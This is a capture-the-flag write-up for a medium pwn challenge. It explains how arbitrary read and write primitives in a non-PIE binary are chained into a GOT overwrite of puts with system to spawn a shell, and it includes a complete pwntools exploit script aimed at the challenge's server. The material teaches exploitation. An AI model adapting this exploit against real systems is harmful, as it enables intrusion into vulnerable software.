pwn6www / storage
pwn6www / storage
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: arbitrary_read_via_printf_s, controlled_rdi_call, got_leak, got_overwrite_puts_to_system, libc_base_calculation, write_what_where
Summary
Task: NON-PIE x86-64 binary with a menu exposing an arbitrary read (printf %s at an attacker address) and an arbitrary 8-byte write-what-where, plus a controlled puts(buf) call. Solution: leak libc from an already-resolved GOT entry, overwrite puts@GOT with system, then trigger puts("/bin/sh") = system("/bin/sh") for a shell. Key pitfall: leaking an UNRESOLVED GOT slot (lazy binding) gives a wrong base.
pwn6www / storage — pwn_spbctf
Description
storage (category
www, tierpwn6"Добор", "bin storage"). Author Lex (@b1n4r9). "Store your data right at memory of your binary."
Files: storage.elf + libc-2.31.so. Remote: nc 109.233.56.90 11704
(pwn.spbctf.ru). The challenge name "www" is the classic write-what-where
hint: the binary hands you a literal arbitrary read and an arbitrary 8-byte write
to anywhere in the process address space.
Goal: turn read/write-anywhere into a shell and read /flag.txt.
Analysis
storage.elf:
- x86-64, NON-PIE (loaded at
0x400000), NX enabled, Partial RELRO (GOT is writable, lazy binding), no stack canary, not stripped. libc-2.31.sois the Debian glibc 2.31 build (md574f2d3062180572fc8bcd964b587eeae):system = 0x48f20,/bin/sh = 0x1b75aa.
main @ 0x4010b0 is a scanf("%d") menu loop with three options:
- [1] Read data — reads an address as a decimal string (
strtol), thenprintf("Your data: %s", addr). This is an arbitrary read: it prints the string at any address until a NUL byte. - [2] Write data —
write_prim @ 0x401450: reads an 8-byte raw value into[rsp+8], reads an address as a decimal string (strtol), then*(qword*)addr = value. This is an arbitrary 8-byte write-what-where. The address comes fromstrtol, which limits it to 32-bit-signed values — but that range fully covers the non-PIE GOT at0x4xxxxx. - [3] Test system — prints three banners (each preceded by a 1-second
sleep), thenscanf("%32s", buf); puts(buf);followed by a success message. The crucial part:puts(buf)is a call with an attacker-controlled first argument (rdi).
The exploit shape writes itself:
- Leak libc with the arbitrary read on a resolved GOT entry.
- Overwrite
puts@GOTwithsystemusing the write-what-where. - Trigger option [3]:
puts(buf)is nowsystem(buf), so sendingbuf = "/bin/sh"runssystem("/bin/sh").
Why leaking a GOT entry with %s works
printf("%s", got_entry) prints the bytes of the 6-byte libc pointer stored at
that GOT slot. A userspace libc pointer is 0x00007fxx_xxxxxxxx, so byte 7 is
0x00 — %s stops there and you get exactly the 6 meaningful low bytes of the
pointer. Pad to 8 bytes with \x00 and u64 it to recover the real libc
address, then subtract the symbol offset to get the libc base.
⚠️ Critical pitfall: do NOT leak an UNRESOLVED GOT slot
This cost most of the solve time, so it gets its own section.
Under Partial RELRO + lazy binding, a GOT slot is only filled with the real
libc address after the corresponding function has been called at least once.
Before that, the slot still points at the PLT resolver stub (_dl_runtime_resolve
trampoline), i.e. back into the binary's own 0x4xxxxx region — not into libc.
read is never called before the leak in this program, so read@GOT was
unresolved. Leaking it produced a pointer that was off by 0xe9100 from the
correct value. The wrong libc base made system resolve to garbage, and the
process instantly SIGSEGV'd inside the call. That crash looked exactly like a
movaps stack-alignment fault — so several attempts were burned chasing
one_gadget swaps and stack-alignment "fixes" that were never the real problem.
The tell / the fix: cross-check multiple GOT leaks. Leaking 5 entries showed
4 of them agreeing on a consistent page-aligned base while read@GOT disagreed —
that single odd-one-out is the unresolved-slot bug. Always leak a GOT entry
whose function has already executed at runtime (puts, printf, strtol,
setvbuf all run during startup/menu handling and are guaranteed resolved). A
trivial sanity guard is assert libc.address & 0xfff == 0 — a non-page-aligned
"base" means a bad leak.
Solution
- Leak
puts@GOT(puts already ran at startup ⇒ resolved). Recoverlibc base = leaked_puts - libc.sym['puts'], thensystem = base + 0x48f20. - Write
systemoverputs@GOTvia option [2] (address as decimal string, value as 8 rawp64bytes). - Trigger option [3]. The three banner
puts("[*] ...")calls now becomesystem("[*] ...")— harmless ("command not found"). Thenputs(buf)becomessystem(buf); sendbuf = "/bin/sh"to drop a shell andcat /flag.txt.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'info' e = ELF('storage.elf', checksec=False) libc = ELF('libc-2.31.so', checksec=False) HOST, PORT = '109.233.56.90', 11704 puts_got = e.got['puts'] # already-resolved slot — safe to leak def leak(io, addr): io.recvuntil(b'> ') io.sendline(b'1') io.recvuntil(b'Enter address(decimal): ') io.sendline(str(addr).encode()) io.recvuntil(b'Your data: ') return io.recvline().rstrip(b'\n') def write_qword(io, addr, value): io.recvuntil(b'> ') io.sendline(b'2') io.send(p64(value)) # 8-byte raw value into [rsp+8] io.recvuntil(b'Enter address(decimal): ') io.sendline(str(addr).encode()) # address as a DECIMAL string (strtol) def exploit(): io = remote(HOST, PORT) io.recvuntil(b'Use this trash-box') # LEAK: %s on puts@GOT prints the 6 low bytes of the libc pointer (byte 7 = NUL). # NOTE: read@GOT is UNRESOLVED (lazy binding) -> wrong base. Use puts instead. raw = leak(io, puts_got) puts_addr = u64(raw.ljust(8, b'\x00')) libc.address = puts_addr - libc.symbols['puts'] system = libc.symbols['system'] log.success('puts@libc = %#x' % puts_addr) log.success('libc base = %#x' % libc.address) log.success('system = %#x' % system) assert libc.address & 0xfff == 0, 'libc base not page-aligned -> bad leak!' # WRITE-WHAT-WHERE: overwrite puts@GOT with system. write_qword(io, puts_got, system) log.info('puts@GOT -> system') # TRIGGER: option [3]. Banners become system("[*]...") (harmless); # then puts(buf) == system(buf). Send /bin/sh. io.recvuntil(b'> ') io.sendline(b'3') sleep(5) # let the 3 banner sleeps pass io.sendline(b'/bin/sh') sleep(2) io.sendline(b'cat /flag.txt; id; ls -la') io.interactive() if __name__ == '__main__': exploit()